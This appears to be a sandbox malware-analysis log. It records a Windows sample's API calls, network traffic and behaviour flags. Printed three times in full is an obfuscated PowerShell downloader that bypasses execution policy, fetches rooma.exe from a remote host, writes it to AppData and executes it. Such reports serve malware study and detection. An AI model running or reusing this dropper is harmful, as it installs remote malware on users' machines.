process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05034000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05035000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05036000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05037000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05038000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05039000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0503f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function dSiVFLsLehn($rfZncQy, $cUgweNexw){[IO.File]::WriteAllBytes($rfZncQy, $cUgweNexw)};function nIdpxHlTQCh($rfZncQy){if($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77253,77261,77261))) -eq $True){rundll32.exe $rfZncQy }elseif($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77265,77268,77202))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $rfZncQy}elseif($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77262,77268,77258))) -eq $True){misexec /qn /i $rfZncQy}else{Start-Process $rfZncQy}};function jgnVrIPEDBsp($jtGWZjWFaRHXCuqVnz){$MwnACmdhpUHoLnOVAM = New-Object (cWtOpHLjGaAJQsKH @(77231,77254,77269,77199,77240,77254,77251,77220,77261,77258,77254,77263,77269));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cUgweNexw = $MwnACmdhpUHoLnOVAM.DownloadData($jtGWZjWFaRHXCuqVnz);return $cUgweNexw};function cWtOpHLjGaAJQsKH($UdjhWEgRZQSx){$RtRDovBirTtstBy=77153;$lGTIgueBJPfaj=$Null;foreach($TkMMOsDOXHzTTR in $UdjhWEgRZQSx){$lGTIgueBJPfaj+=[char]($TkMMOsDOXHzTTR-$RtRDovBirTtstBy)};return $lGTIgueBJPfaj};function VAkrnUGuLGImDnrHn(){$IVSPGGhdAyk = $env:AppData + '\';$lZOmMJaxLsT = $IVSPGGhdAyk + 'rooma.exe'; if (Test-Path -Path $lZOmMJaxLsT){nIdpxHlTQCh $lZOmMJaxLsT;}Else{ $nqvArjE = jgnVrIPEDBsp (cWtOpHLjGaAJQsKH @(77257,77269,77269,77265,77268,77211,77200,77200,77254,77253,77270,77250,77258,77266,77258,77199,77270,77275,77200,77272,77264,77267,77253,77265,77267,77254,77268,77268,77200,77267,77264,77264,77262,77250,77199,77254,77273,77254));dSiVFLsLehn $lZOmMJaxLsT $nqvArjE;nIdpxHlTQCh $lZOmMJaxLsT;};;;;}VAkrnUGuLGImDnrHn;
cmdline powershell.exe -ExecutionPolicy UnRestricted function dSiVFLsLehn($rfZncQy, $cUgweNexw){[IO.File]::WriteAllBytes($rfZncQy, $cUgweNexw)};function nIdpxHlTQCh($rfZncQy){if($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77253,77261,77261))) -eq $True){rundll32.exe $rfZncQy }elseif($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77265,77268,77202))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $rfZncQy}elseif($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77262,77268,77258))) -eq $True){misexec /qn /i $rfZncQy}else{Start-Process $rfZncQy}};function jgnVrIPEDBsp($jtGWZjWFaRHXCuqVnz){$MwnACmdhpUHoLnOVAM = New-Object (cWtOpHLjGaAJQsKH @(77231,77254,77269,77199,77240,77254,77251,77220,77261,77258,77254,77263,77269));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cUgweNexw = $MwnACmdhpUHoLnOVAM.DownloadData($jtGWZjWFaRHXCuqVnz);return $cUgweNexw};function cWtOpHLjGaAJQsKH($UdjhWEgRZQSx){$RtRDovBirTtstBy=77153;$lGTIgueBJPfaj=$Null;foreach($TkMMOsDOXHzTTR in $UdjhWEgRZQSx){$lGTIgueBJPfaj+=[char]($TkMMOsDOXHzTTR-$RtRDovBirTtstBy)};return $lGTIgueBJPfaj};function VAkrnUGuLGImDnrHn(){$IVSPGGhdAyk = $env:AppData + '\';$lZOmMJaxLsT = $IVSPGGhdAyk + 'rooma.exe'; if (Test-Path -Path $lZOmMJaxLsT){nIdpxHlTQCh $lZOmMJaxLsT;}Else{ $nqvArjE = jgnVrIPEDBsp (cWtOpHLjGaAJQsKH @(77257,77269,77269,77265,77268,77211,77200,77200,77254,77253,77270,77250,77258,77266,77258,77199,77270,77275,77200,77272,77264,77267,77253,77265,77267,77254,77268,77268,77200,77267,77264,77264,77262,77250,77199,77254,77273,77254));dSiVFLsLehn $lZOmMJaxLsT $nqvArjE;nIdpxHlTQCh $lZOmMJaxLsT;};;;;}VAkrnUGuLGImDnrHn;
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -ExecutionPolicy UnRestricted function dSiVFLsLehn($rfZncQy, $cUgweNexw){[IO.File]::WriteAllBytes($rfZncQy, $cUgweNexw)};function nIdpxHlTQCh($rfZncQy){if($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77253,77261,77261))) -eq $True){rundll32.exe $rfZncQy }elseif($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77265,77268,77202))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $rfZncQy}elseif($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77262,77268,77258))) -eq $True){misexec /qn /i $rfZncQy}else{Start-Process $rfZncQy}};function jgnVrIPEDBsp($jtGWZjWFaRHXCuqVnz){$MwnACmdhpUHoLnOVAM = New-Object (cWtOpHLjGaAJQsKH @(77231,77254,77269,77199,77240,77254,77251,77220,77261,77258,77254,77263,77269));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cUgweNexw = $MwnACmdhpUHoLnOVAM.DownloadData($jtGWZjWFaRHXCuqVnz);return $cUgweNexw};function cWtOpHLjGaAJQsKH($UdjhWEgRZQSx){$RtRDovBirTtstBy=77153;$lGTIgueBJPfaj=$Null;foreach($TkMMOsDOXHzTTR in $UdjhWEgRZQSx){$lGTIgueBJPfaj+=[char]($TkMMOsDOXHzTTR-$RtRDovBirTtstBy)};return $lGTIgueBJPfaj};function VAkrnUGuLGImDnrHn(){$IVSPGGhdAyk = $env:AppData + '\';$lZOmMJaxLsT = $IVSPGGhdAyk + 'rooma.exe'; if (Test-Path -Path $lZOmMJaxLsT){nIdpxHlTQCh $lZOmMJaxLsT;}Else{ $nqvArjE = jgnVrIPEDBsp (cWtOpHLjGaAJQsKH @(77257,77269,77269,77265,77268,77211,77200,77200,77254,77253,77270,77250,77258,77266,77258,77199,77270,77275,77200,77272,77264,77267,77253,77265,77267,77254,77268,77268,77200,77267,77264,77264,77262,77250,77199,77254,77273,77254));dSiVFLsLehn $lZOmMJaxLsT $nqvArjE;nIdpxHlTQCh $lZOmMJaxLsT;};;;;}VAkrnUGuLGImDnrHn;
filepath: powershell.exe
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2564
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef80000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received ]
Data received Y–õíŸ{ߧ^’sVß0ݝÿ) JN¾»Ñ´A'n @°KݤVr®‹nÜh靤s%#׿öÎ,Ýrdþ ¤|Àÿ 
Data received 
Data received  ù0‚õ0‚Ý ÓŒp£ƒö7ر暈k›h<0  *†H†÷  021 0 UUS10U  Let's Encrypt1 0 UR30 240422074105Z 240721074104Z010Uwww.eduaiqi.uz0‚"0  *†H†÷ ‚0‚ ‚¤¼l³®Ÿ‚®x±ràø­öNOO4%ž äËö´Ðs€>j„p¸«ãœKàîj4wÉ|©¾ÝX{Ù?öo½{3ªÒŽ®1PȒ6Á(e$7Úz ~ì}X]fÎÖh¤šíˆÓªýHë€oGzÒ2?B5uŠ)8Û|T·Þ¯iT(¾›1Gbû0܎Qx3CÎηh"óy>9xr€ ç#ò¹^›þy{·¤]÷pHFÖÍï@$;lNíH·—ÁW2²X&™Gmý¾db—^££–äÃ]·ay$PM˜¼Ao^¨Sã- ŸÛˇ'>M;3òêˆÃÓ룂0‚0Uÿ 0U%0++0 Uÿ00U'ú£ñǃ’SҎ DKÚ ×ÿÙ0U#0€.³·XVË®P @毝‹ÂÆ0U+I0G0!+0†http://r3.o.lencr.org0"+0†http://r3.i.lencr.org/0%U0‚ eduaiqi.uz‚www.eduaiqi.uz0U  0 0g 0‚ +ÖyõòðwH°ãkÚ¦G4åjú0ëRËVÝ,Ù»¿«9؄s÷I&H0F!À×£T´ñ„vd#ñ\N”Ÿ(ä”ù6Mvý$ÛIîŪ4!œº'ì?ö nGÌù‹ äh†AÓ=·§ßz0˜s©†TuîÍÐdÕÛÎÅ\·´Í¢2‡F|¼ìÞÃQHYFqµ›÷IF0D KÙ¬“Î[ö­EI@LP˜ƒÓMm¬Ï½¹ÏÅֆÃušë© už5%0Û c‘ T^¨°†ËÌÓ@ľf1’·!rPén0  *†H†÷  ‚Sï‹’Þ Rñµ–Z°› ¡Úž~Qq€o;Ôe£Ëap©³«Íõ¿†»„Á·×Ûgiò/²|¿·J%4göxº°‘ççÄJ¼+Á+[_Q&ʀµúdퟢh›!˜æÿÒ»@tÜé)Yž¢<™ÂœúgÛ¶QÛaPҜR„˜® lê-%V‹±æS½в’š ¼·iš#dèÏâe“=±»óã `’´_—Nm*Ïû!ë%ËÉ?8ºÿ¼‚—ÇÝ(ý ‹ðúÈûþ@¶Ÿ vô¨¤ßÝ)Ÿ/‹%Æ»~¨Nä4³üwcÐڗ³¦?<þH6Šä š·]=^ cd`‚g0‚0‚þ ‘+JÏ §SöÖ.%§_Z0  *†H†÷  0O1 0 UUS1)0'U  Internet Security Research Group10U ISRG Root X10 200904000000Z 250915160000Z021 0 UUS10U  Let's Encrypt1 0 UR30‚"0  *†H†÷ ‚0‚ ‚»(Ìö ”ÓìU’Ãø‚ñ™¦zBˆ§]&ªµ+¹ÅL±¯ŽkùuÈ£×G”U5WŒž¨¢9õ‚<B©Nnõ;Ã.ۍÀ°\óY8çíÏiðZ ¾À”$%‡ú7q³ç¬á›ïÛä;ERE–©ÁSÎ4ÈRîµ®íÞ`pâ¥T«¶m—¥@4k+Ó¼fëf4|úk‹W)™ø0]ºroûÅ­Ò†X=Çç »ñ+÷†ÜÁÚq]ÔFãÌ­%Áˆ¼`guf³ñ÷¢\æSÿ:ˆ¶G¥ÿê˜ w?SùÏåõ¦p¯c¤ÿ™³“ÜS§þH…¡i®%u»ÌRõíQ¡‹Û£‚0‚0Uÿ†0U%0++0Uÿ0ÿ0U.³·XVË®P @毝‹ÂÆ0U#0€y´Yæ{¶åäs€ˆÈXöé›n02+&0$0"+0†http://x1.i.lencr.org/0'U 00  †http://x1.c.lencr.org/0"U 00g 0  +‚ß0  *†H†÷  ‚…ÊNG>£÷…D…¼Õgx²˜c­uM–=3erT- êÃíø ¿_Ì·p·n;ö^”Þä Ÿ¦ï‹²碵<‘δí9ç|%ŠGæen?FôÙðΔ+îTμŒ'K¸Á˜/¢¯Íq‘J·È¸#{-ùW>ƒÙ3 G!x ‚'Ã*ț¹Î\òdÈÀ¾yÀOŽmD ^’».÷‹áèD)ÛY íc¹!ø&”“W eÁ "® C—¡~àà†7µZ±½0¿‡n+*ÿ!NÃõ—ð^¬Ã¥¸jð.¼;3¹îKÞÌü䯄 †?ÀUC6öhá6jŽ™Ñÿ¥@§4·ÀÐc959unòºvȓé©KlÎ Ù½ûŸ·hÔe³‚=wSøŽy­ 1u*CØU—rÄ)÷Ä]NÈ®F„0×ò…_¡y»ç^p‹ᆓùÜaq%*¯ßí%PRh‹’ÜåÖµãÚ}Їl„!1®‚õû¹«È‰=áLå8ö½+½–ëÕÛ= §~YÓâøXù[¸HÍþ\O)þU#¯È°ê|“/ý¬¢ GF?ðé°·ÿ(Mh2Ög^i£“¸õ‹/ ÒRC¦o2WeM2ß8S…]~]f)ê¸Ý䕵͵VBÍÄNÆ%8DPmìÎUþéIdÔNʗœ´[Às¨«¸GÂ
Data received K
Data received GA²³°†Œ+ŠäM%^Ù0Q¢ÒÔ;Ìöùñ.îG7›âŠâc>dÑ$·T¬®=éH¯ÖðVüp×3êõU5I‡¥ # Àc"Kèŕë?ü啎 A­Ôc#£@ÿ‘'hÔD0ï1fëgUÆ/ôôkvuM<z÷Jn/έ¿´0'‚®•ÖqÍ©íî È èç–»k,nо©{(&d¥x@¤ù¦ |‘^íˆsš.WĞ”Ë9Á`3;Þ 2½IQH£ú<É÷ÌՐž‘˜®9z”±Õ¡Ã£š'<"LsÚÙxšìíµó¡tÉzhy˵-y“½ œö$¦¸U³m¯¢Néj ¹zGû—_|ÊY¹ãK4ÄkV%óË®ì?½gs؎­´0×͚h™éjë,¡/=ÜNHxc¯—©
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received À®Õh+Pðj»áå 5és’óå8BrÁùaʙû¶fUºH˜½÷/õãé{̤.Y°
Data sent mifSÉI˜š0z¯çÙ¶¶î Ÿ2r^,M¸1ÀÉQï%$RË/5 ÀÀÀ À 28(ÿ eduaiqi.uz  
Data sent FBAí©ªI6º³,`ÇG8¦­Ò_Èâ§i\Óµ r#Týc^ÖPT–/´ï¸ó#þ >ã :ßØDXÞÒßý°0+ŒËWø#:Jclë Ý-ñ@$Qg‡MVñ&ªG¶Öþugª§6‰L ™ÎdÊ\,¨üÄ
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 104.192.108.137
Time & API Arguments Status Return Repeated

send

 buffer: mifSÉI˜š0z¯çÙ¶¶î Ÿ2r^,M¸1ÀÉQï%$RË/5 ÀÀÀ À 28(ÿ eduaiqi.uz  
socket: 1440
sent: 114
1 114 0

send

 buffer: FBAí©ªI6º³,`ÇG8¦­Ò_Èâ§i\Óµ r#Týc^ÖPT–/´ï¸ó#þ >ã :ßØDXÞÒßý°0+ŒËWø#:Jclë Ý-ñ@$Qg‡MVñ&ªG¶Öþugª§6‰L ™ÎdÊ\,¨üÄ
socket: 1440
sent: 134
1 134 0

WSASend

 buffer: GET / HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: x1.i.lencr.org
socket: 2028
0 0
parent_process powershell.exe martian_process C:\Users\test22\AppData\Roaming\rooma.exe
option -executionpolicy unrestricted value Attempts to bypass execution policy
option -executionpolicy unrestricted value Attempts to bypass execution policy
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe